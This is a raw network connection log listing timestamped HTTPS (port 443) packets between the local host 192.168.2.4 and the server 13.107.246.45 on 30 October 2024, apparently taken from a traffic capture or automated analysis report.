Oct 30, 2024 20:14:46.105254889 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.105313063 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.105428934 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.105428934 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.105448961 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.105458021 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.107865095 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.107884884 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.107958078 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.108170986 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.108181953 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.168975115 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.169377089 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.169394016 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.169822931 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.169826984 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.235635042 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.236015081 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.236027002 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.236424923 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.236428976 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.301104069 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.301127911 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.301175117 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.301197052 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.301225901 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.301434040 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.301434040 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.301440954 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.301450014 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.304857016 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.304899931 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.304969072 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.305147886 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.305160999 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.367849112 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.367993116 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.368047953 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.368211985 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.368216038 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.368227959 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.368232012 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.371558905 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.371632099 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.371709108 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.371849060 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.371876001 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.928062916 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.930689096 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.930768967 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.930850029 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.931076050 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.931111097 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.180980921 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.181515932 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.181539059 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.182008982 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.182013035 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.308190107 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.308592081 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.308614016 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.309016943 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.309026003 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.313186884 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.313579082 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.313592911 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.313941956 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.313946009 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.315136909 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.315218925 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.315279007 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.315354109 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.315363884 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.318351030 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.325062037 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.325124025 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.325213909 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.325551987 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.325589895 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.325877905 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.325903893 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.326266050 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.326277018 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.442826033 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.442884922 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.442930937 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.443120956 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.443139076 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.443147898 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.443154097 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.445630074 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.445704937 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.445789099 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.445926905 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.445962906 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.459805012 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.459944010 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.460005045 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.460052013 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.460052967 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.460094929 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.460124969 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.460541010 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.460741043 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.460793972 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.460844040 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.460849047 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.460876942 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.460881948 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.462275028 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.462296009 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.462352991 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.462431908 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.462464094 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.462487936 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.462503910 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.462512016 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.462614059 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.462625027 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.917401075 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.918152094 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.918217897 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:47.918607950 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:47.918623924 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.048882961 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.048965931 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.049036026 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.049324989 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.049362898 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.049391031 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.049411058 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.052316904 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.052345037 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.052432060 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.052647114 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.052671909 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.055754900 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.056152105 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.056211948 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.056591988 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.056605101 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.190958977 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.192313910 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.192375898 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.192548037 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.192600012 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.192672968 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.192688942 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.192887068 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.193382025 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.193403006 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.193780899 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.193793058 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.196367979 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.196404934 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.196464062 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.196588993 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.196600914 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.200161934 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.200483084 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.200495005 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.200872898 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.200879097 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.217726946 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.218049049 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.218059063 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.218416929 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.218421936 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.334436893 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.334616899 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.334666967 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.334788084 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.334796906 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.334815979 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.334820032 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.339118958 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.339154005 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.339205027 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.339222908 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.339255095 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.342436075 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.342456102 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.342483997 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.342498064 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.344234943 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.344264984 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.344327927 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.344537973 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.344552994 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.345141888 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.345175982 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.345246077 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.345350027 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.345360994 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.370049000 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.370735884 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.370800972 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.370814085 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.370862961 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.370913029 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.370984077 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.370999098 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.371021032 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.371026039 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.374188900 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.374198914 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.374270916 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.374479055 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.374490023 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.783953905 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.784375906 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.784403086 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.784806967 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.784815073 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.915401936 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.915462971 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.915545940 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.915833950 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.915849924 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.915863037 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.915867090 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.919275045 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.919317961 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.919410944 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.919665098 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.919676065 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.938239098 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.938719034 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.938744068 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:48.939152956 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:48.939158916 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.070920944 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.070964098 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.071008921 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.071022034 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.071070910 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.071280956 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.071300030 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.071310997 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.071321011 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.073929071 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.073952913 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.074027061 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.074150085 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.074170113 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.088762045 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.089118958 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.089128971 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.089579105 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.089582920 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.130264997 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.130613089 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.130640030 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.131037951 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.131042004 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.218755960 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.219114065 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.219122887 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.219500065 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.219506979 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.221164942 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.221223116 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.221271992 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.221470118 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.221487045 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.221498966 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.221504927 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.223965883 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.224004030 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.224071026 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.224196911 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.224210024 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.259762049 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.260072947 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.260143042 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.260168076 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.260183096 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.260191917 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.260195971 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.262181997 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.262197971 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.262269974 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.262383938 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.262396097 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.348300934 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.348448992 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.348515034 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.350141048 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.350147009 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.350157022 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.350161076 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.363516092 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.363527060 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.363590956 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.365387917 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.365398884 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.655205965 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.655664921 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.655683994 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.656119108 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.656122923 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.786031961 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.786060095 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.786106110 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.786135912 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.786187887 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.786544085 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.786561012 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.786573887 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.786578894 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.789468050 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.789489031 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.789572001 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.789736032 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.789747000 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.810874939 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.811249018 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.811261892 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.811676025 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.811681986 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.942743063 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.942831993 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.942882061 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.943576097 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.943592072 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.943602085 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.943608046 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.946151018 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.946177959 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.946238995 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.946410894 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.946423054 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.956214905 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.956634998 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.956661940 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:49.957073927 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:49.957079887 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.034183025 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.034759045 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.034776926 CET	443	50002	13.107.246.45	192.168.2.4
